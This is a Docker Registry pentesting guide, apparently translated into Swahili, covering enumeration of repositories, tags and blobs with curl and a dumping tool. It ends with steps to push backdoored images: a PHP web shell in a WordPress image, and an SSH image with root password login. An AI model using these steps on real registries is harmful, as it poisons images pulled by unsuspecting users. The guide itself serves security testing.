5000 - Pentesting Docker Registry

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Basic Information

Mfumo wa kuhifadhi na kusambaza unaojulikana kama Docker registry umewekwa kwa ajili ya picha za Docker ambazo zimepewa majina na zinaweza kuja katika matoleo mbalimbali, yanayofautishwa na lebo. Picha hizi zimeandaliwa ndani ya Docker repositories katika registry, kila repository ikihifadhi matoleo mbalimbali ya picha maalum. Uwezo unaotolewa unaruhusu picha kupakuliwa kwa ndani au kupakiwa kwenye registry, ikiwa mtumiaji ana ruhusa zinazohitajika.

DockerHub inatumika kama registry ya umma ya default kwa Docker, lakini watumiaji pia wana chaguo la kufanya kazi na toleo la ndani la Docker registry/distribution ya chanzo wazi au kuchagua Docker Trusted Registry inayoungwa mkono kibiashara. Zaidi ya hayo, registry mbalimbali za umma zinaweza kupatikana mtandaoni.

Ili kupakua picha kutoka kwa registry ya ndani, amri ifuatayo inatumika:

docker pull my-registry:9000/foo/bar:2.1

Hii amri inapata picha ya foo/bar toleo 2.1 kutoka kwenye rejista ya ndani kwenye kikoa cha my-registry kwenye bandari 9000. Kinyume chake, ili kupakua picha hiyo hiyo kutoka DockerHub, hasa ikiwa 2.1 ndiyo toleo jipya zaidi, amri inakuwa rahisi:

docker pull foo/bar

Default port: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

Kugundua

Njia rahisi ya kugundua huduma hii inayoendesha ni kuipata kwenye matokeo ya nmap. Hata hivyo, kumbuka kwamba kwa kuwa ni huduma inayotumia HTTP inaweza kuwa nyuma ya proxies za HTTP na nmap haitagundua. Baadhi ya alama:

  • Ikiwa unafikia / hakuna kinachorejeshwa kwenye jibu

  • Ikiwa unafikia /v2/ basi {} inarejeshwa

  • Ikiwa unafikia /v2/_catalog unaweza kupata:

  • {"repositories":["alpine","ubuntu"]}

  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

Uhesabu

HTTP/HTTPS

Docker registry inaweza kuwekewa mipangilio kutumia HTTP au HTTPS. Hivyo jambo la kwanza unalohitaji kufanya ni kupata ni ipi inayopangwa:

curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Authentication

Docker registry inaweza pia kuwekewa mipangilio ili kuhitaji authentication:

curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

Ikiwa Docker Registry inahitaji uthibitisho unaweza kujaribu kuikandamiza kwa kutumia hii. Ikiwa utapata akidi halali utahitaji kuzitumia kuhesabu rejista, katika curl unaweza kuzitumia kama hii:

curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumeration using DockerRegistryGrabber

DockerRegistryGrabber ni chombo cha python cha kuorodhesha / kutupa docker degistry (bila au na uthibitisho wa msingi)

usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

____   ____    ____
|  _ \ |  _ \  / ___|
| | | || |_) || |  _
| |_| ||  _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu

positional arguments:
url                URL

options:
-h, --help         show this help message and exit
-p port            port to use (default : 5000)

Authentication:
-U USERNAME        Username
-P PASSWORD        Password
-A header          Authorization bearer token

Actions:
--list
--dump_all
--dump DOCKERNAME  DockerName

Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumeration using curl

Mara tu umepata ufikiaji wa docker registry hapa kuna baadhi ya amri unazoweza kutumia kuhesabu:

#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

Kumbuka kwamba unaposhusha na kufungua faili za blobs, folda zitaonekana katika saraka ya sasa. Ikiwa unashusha blobs zote na kuzifungua katika folda moja, zitaandika thamani kutoka kwa blobs zilizofunguliwa awali, hivyo kuwa makini. Inaweza kuwa ya kuvutia kufungua kila blob ndani ya folda tofauti ili kukagua maudhui halisi ya kila blob.

Uhesabuji kwa kutumia docker

#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Kuingiza Backdoor kwenye picha ya WordPress

Katika hali ambapo umepata Docker Registry ikihifadhi picha ya wordpress unaweza kuingiza backdoor. Unda backdoor:

shell.php
<?php echo shell_exec($_GET["cmd"]); ?>

Unda Dockerfile:

Dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

Unda picha mpya, angalia ikiwa imeundwa, na tuma hiyo:

docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it

Backdooring SSH server image

Kufikiria kwamba umepata Docker Registry yenye picha ya SSH na unataka kuingiza nyuma. Pakua picha hiyo na endesha:

docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

Kutoa faili la sshd_config kutoka kwenye picha ya SSH:

docker cp 4c989242c714:/etc/ssh/sshd_config .

Na ibadilishe ili kuweka: PermitRootLogin yes

Unda Dockerfile kama ifuatavyo:

FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

Unda picha mpya, angalia ikiwa imeundwa, na sukuma hiyo:

docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it

References

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